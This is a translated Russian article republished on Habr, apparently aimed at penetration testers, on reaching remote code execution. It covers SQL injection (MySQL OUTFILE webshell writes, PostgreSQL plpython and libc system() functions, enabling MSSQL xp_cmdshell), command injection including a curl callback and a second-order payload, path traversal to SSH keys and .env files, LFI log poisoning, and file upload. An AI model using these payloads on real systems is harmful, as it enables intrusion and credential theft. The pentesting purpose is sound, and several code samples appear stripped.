[Перевод] 5 способов получить RCE на практике
Для специалистов в области offensive security обнаружение уязвимостей удалённого выполнения кода (RCE) является настоящей жемчужиной как для black-box проектов, так и для white-box. Такие уязвимости могут проявляться по-разному, но также существуют общие подходы для их обнаружения.
В этой статье мы рассмотрим распространённые методы получения RCE, включая SQL-инъекции, командные инъекции, path traversal, Local File Inclusion (LFI) и уязвимости в загрузке файлов. Для каждого вектора атаки мы приведём примеры и реальные случаи из моей практики, чтобы продемонстрировать их влияние.
Материал переведен Life-Hack — Хакер
SQL-инъекция
SQL-инъекция широко известна как одна из самых известных веб-атак, предоставляющих злоумышленнику контроль над базой данных цели. SQL-инъекция может быть ещё опаснее, помимо кражи данных она позволяет злоумышленнику выполнять команды на операционной системе цели. RCE через SQL-инъекцию возможно когда злоумышленники используют запросы к базе данных для выполнения системных команд. Разные системы управления базами данных, такие как MySQL, PostgreSQL и MSSQL, обладают различными возможностями для выполнения команд на уровне операционной системы.
Важно отметить, что манипуляции выполняются с сервисом SQL, а не с веб-сервером (например, Apache или Nginx). Таким образом, достижение RCE зависит от привилегий, которыми обладает SQL-сервис на целевом сервере.
MySQL
Предположим, что вы нашли оператор SELECT, который позволяет вам внедрить вредоносный запрос. У вас есть два основных направления атаки. Первый и наиболее предпочтительный — использование функции OUTFILE в MySQL. Опция OUTFILE в MySQL используется для записи результата запроса в файл на файловой системе сервера. Мы можем использовать эту функцию, чтобы записать, например webshell, выполнив что-то вроде следующего:
' UNION SELECT "" INTO OUTFILE "/var/www/html/upload.php";
У меня был случай, когда при попытке выполнить эту операцию я получал сообщения об ошибках, указывающие на то, что у службы MySQL недостаточно прав для записи файла в указанные мной каталоги. Однако после нескольких попыток изменения пути файла мне повезло найти путь, в котором я смог записать файл.
Второй путь в случае SQL-инъекции в MySQL — использование функции LOAD_FILE (). Функция LOAD_FILE () в MySQL используется для чтения содержимого файла, находящегося на сервере, и возврата его в виде строки. Обычно она применяется для получения содержимого текстовых файлов, таких как файлы конфигурации или логи, в результате запроса. Если эта функция работает, можно попытаться использовать её для атаки path traversal с целью чтения конфиденциальных файлов с сервера, надеясь найти, например, приватные ключи SSH или пароли. Однако этот метод менее перспективен по сравнению с ранее упомянутой функцией.
PostgreSQL
В PostgreSQL у нас также есть несколько доступных вариантов. Первый из них — использование функции COPY для создания нового файла, что весьма похоже на пример с MySQL, рассмотренный ранее:
1; COPY (SELECT '') TO '/var/www/html/chux.php'; --
Для чтения конфиденциальных файлов на системе можно использовать функцию pg_read_file ():
SELECT pg_read_file('/var/www/html/.env',0,1000);
Ещё один, более креативный способ добиться RCE в данной DBMS — использование скриптовых языков, установленных в системе, для выполнения произвольного кода. Следующий запрос может показать, какие скриптовые языки поддерживаются в целевой базе данных:
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Если на системе поддерживается скриптовый язык, вы можете использовать его для создания пользовательского скрипта, чтобы выполнить всё, что вам нужно:
1; CREATE FUNCTION rce() RETURNS VOID AS $
import os
os.system('echo pwned > /tmp/chux.txt')
$ LANGUAGE plpythonu; SELECT rce(); --
Для дополнительного изучения эксплуатации скриптовых языков PostgreSQL для достижения RCE, ознакомьтесь с этим превосходным руководством.
И наконец, ещё один интересный приём для PostgreSQL, который я узнал из OWASP и применил его на одном коммерческом сайте, заключается в инъекции пользовательской функции, связанной с libc.
Чтобы реализовать это, необходимо выполнить следующие шаги:
1. Создать таблицу для вывода результата (stdout).
2. Запустить shell-команду, которая будет ссылаться на этот вывод.
3. Использовать функцию COPY, чтобы получить результат выполнения вашей shell-команды в созданную таблицу.
Пример с сайта OWASP выглядит следующим образом:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
MSSQL
Здесь существуют известные хранимые процедуры, которые помогают выполнять команды ОС непосредственно из базы данных.
Нативный способ выполнения команд операционной системы на сервере MSSQL заключается в использовании xp_cmdshell. Эта хранимая процедура по умолчанию отключена и может быть активирована только пользователем sa (системным администратором).
Пример простой команды с использованием xp_cmdshell:
EXEC xp_cmdshell 'ipconfig';
Предположим, что вам удалось найти уязвимое место для инъекции. Если у вас есть доступ к пользователю sa или другой учетной записи с достаточными привилегиями, вы можете получить RCE на целевой системе!
Если же у вас есть достаточно прав для запуска xp_cmdshell, но эта функция отключена, вы можете включить ее с помощью следующей команды:
1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
И, наконец, для выполнения любой команды вы можете использовать:
1; EXEC xp_cmdshell 'ping chux.io'; EXEC xp_cmdshell 'dir C:\\users'; --
Здесь стоит упомянуть, что кроме xp_cmdshell, есть еще несколько хранимых процедур, которые можно использовать для манипуляций с целевым сервером:
xp_regread — чтение из реестра. Пример:
EXEC xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\Microsoft\Windows Defender',
@value_name = 'DisableAntiSpyware';
xp_regwrite — запись в реестр. Пример:
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SYSTEM\CurrentControlSet\Services\MyService',
@value_name = 'Start',
@type = 'REG_DWORD',
@value = '2';
sp_send_dbmail — замена xp_sendmail. Пример:
EXEC msdb.dbo.sp_send_dbmail
@profile_name = 'DefaultProfile',
@recipients = 'chux@chux.io',
@subject = 'Test Email',
@body = 'This is a test email sent from SQL Server.';
Подводя итог «от SQLi до RCE» — существует много способов выполнить произвольный код на сервере через SQL-сервис. Конечно, как правило, рекомендуется, чтобы системные администраторы предоставляли минимально необходимые привилегии этим службам, а упомянутые SQL-функции должны быть отключены, поскольку обычно они используются крайне редко.
И всё же, я до сих пор находил достаточно SQL-серверов, которые могут читать/записывать файлы на сервере. Поэтому, если вы обнаружили SQL-инъекцию, всегда пытайтесь определить свои привилегии, чтобы максимально увеличить максимальный профит!
Command Injection
Это самая классическая уязвимость RCE (удаленное выполнение кода), которую каждый из нас хотел бы найти. Хотя в наши дни она уже не так распространена, всё же её можно встретить во множестве IoT устройств, особенно в роутерах. К счастью, мне также встречались веб-приложения, обычно созданные на PHP и NodeJS, которые использовали некоторые функции операционной системы в сочетании с пользовательскими параметрами для выполнения команд на сервере, что позволяло злоумышленнику довольно легко получить RCE.
Классическая инъекция
Во время одного black-box тестирования я наткнулся на внутреннее веб-приложение, в котором одна из функций позволяла пользователю ввести URL веб-сайта организации, чтобы скачать оттуда файл и затем предоставить его пользователю после конвертации формата.
Я предположил, что за кулисами разработчик мог использовать команды curl или wget, передавая URL-адрес, введённый пользователем, в качестве аргумента. Я представил себе что-то вроде:
Итак, если код в веб-приложении похож на тот, который я описал выше, мы можем предоставить URL, а затем просто добавить что-то вроде »; curl chux.io #», чтобы подтвердить нашу теорию.
В этом случае это сработало, и у меня была слепая инъекция команд, что сделало возможным запуск обратной оболочки или загрузку webshell.
Second Order Injection
Second Order Injection происходят, когда уязвимая функция выполняет код, сохраненный в базе данных, без прямого ввода пользователя в саму уязвимую функцию.
В ходе просмотра кода другого внутреннего веб-приложения для туристической компании я обнаружил функцию, которая загружает документы с FTP-серверов в сети, используя что-то похожее на следующий код:
query($query);
$row = $result->fetch_assoc();
$ip_address = $row['ip_address'];
system("ftp $ip_address");
}
if (isset($_GET['server_id'])) {
connectToFTP($_GET['server_id']);
}
?>
Код выше берет IP-адрес сервера из базы данных и передает его в функцию system () без какой-либо валидации. Я сразу же стал искать место в коде, которое отвечает за добавление или редактирование IP-адресов серверов, и к моему удивлению, валидация была только на стороне клиента!
Итак, я создал новый сервер и ввел следующий IP-адрес в поле:
127.0.0.1; echo 'pwned' > /var/www/html/chux.txt / #
И как ожидалось, когда я выполнил FTP-функцию для получения документов с сервера, мой файл был создан на веб-сервере, что стало доказательством критической уязвимости!
Path Traversal
Эта атака известна тем, что позволяет злоумышленникам читать произвольные файлы на сервере, но не выполнять код напрямую. Однако в некоторых случаях я обнаруживал, что эта атака является отличным способом получить RCE.
Файлы, которые я обычно ищу, чтобы эскалировать эту атаку:
• SSH-ключи (/home/*/.ssh/id_rsa)
• .env файлы — обычно содержат секреты и учетные данные
• Bash-скрипты — могут содержать учетные данные для серверов и баз данных
• web.config — в .NET приложениях этот файл может содержать MachineKey, что может привести к атаке десериализации ViewState
Эта атака не предоставляет нам напрямую выполнение кода на сервере, но, если мы тщательно исследуем файловую систему, мы сможем найти полезную информацию для подключения к цели.
Один из моих любимых примеров силы path traversal — это CVE-2021–41773 & CVE-2021–42013.
Local File Inclusion (LFI)
В отличие от предыдущей уязвимости, с LFI мы не только можем читать файлы на сервере, но и выполнять PHP код!
Если целевое приложение использует одну из популярных PHP-функций:
• require ()
• include ()
• require_once ()
• include_once ()
Мы должны проверить, можно ли передать этим функциям путь к файловой системе сервера. Наиболее распространенные методы, с которыми я столкнулся в реальных атаках, — это отравление логов и загрузка файлов.
При отравлении логов нужно проверить, к каким файлам на сервере мы можем получить доступ с правами веб-сервера. Например:
Если нам удастся добавить строку PHP в один из этих логов, то мы сможем получить RCE на целевом сервере. Например, если мы можем читать auth.log, то можно «отравить» его, просто совершив неудачную попытку подключения по SSH:
ssh "@10.20.30.40"
Доступ к auth.log через функцию PHP, такую как include (), приведет к выполнению кода в файле журнала!
Другим распространенным вариантом является использование LFI через загрузку файлов. Если есть защита от загрузки файлов, которая, например, имеет белый список только для jpg-файлов, мы можем использовать Exiftool для внедрения нашего PHP-кода в комментарий или любой другой атрибут файла, а затем просто загрузить его как jpg. Прямой доступ к загруженному файлу не приведет к выполнению нашего кода, но доступ к нему через LFI заставит код работать!
Уязвимость file upload
Это, возможно, одна из моих любимых атак. Каждый раз, когда я вижу эту функциональность, я трачу много времени, пытаясь ее использовать.
В этой статье я не буду углубляться в методологию тестирования, но рекомендую прочитать мои предыдущие статьи на эту тему:
• 5 Advanced Ways I Test For File Upload Vulnerabilities
• From File Upload To LFI
Однако в большинстве случаев функционал загрузки файлов может быть далеко непростым. От загрузки веб-оболочки до XXE и уязвимостей произвольного чтения файлов, все должно быть очень тщательно протестировано.
У меня есть друг, который тестировал веб-приложение на NodeJS на уязвимость file upload и нашел способ загружать JS файлы вместе с обходом каталогов. В конечном итоге это привело к отказу в обслуживании, когда он случайно перезаписал оригинальный index.js файл на сервере.
Совсем недавно у меня был обзор кода для PHP-веб-приложения, и следующий код меня шокировал:
Как видите, нет никаких ограничений на загрузку файлов, и это в уважаемой компании.
Функция загрузки файлов — отличное место для поиска вашей следующей критической уязвимости, не сдавайтесь после первой неудачной попытки загрузить файл .php!
Итог
Существует множество различных способов достижения удаленного выполнения кода с использованием различных уязвимостей. Здесь мы упомянули только несколько, которые, по моему опыту, были наиболее распространенными в реальных случаях.
Хотя существуют «очевидные» уязвимости для RCE, такие как инъекция команд и загрузка файлов, в некоторых случаях мы можем получить чрезвычайно высокую ценность, используя SQLi или доступ к файлам (path traversal).
Когда вы изучаете новую тему или находите новую уязвимость в своих проектах, потратьте достаточно времени, чтобы найти способ эскалации вашей атаки. Я читал о случаях, когда даже CSRF можно было преобразовать в RCE.
Удачи в поиске вашей следующей RCE уязвимости, хакеры!
Life-Hack — Хакер
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки) и отличный контент.
Habrahabr.ru прочитано 1947 раз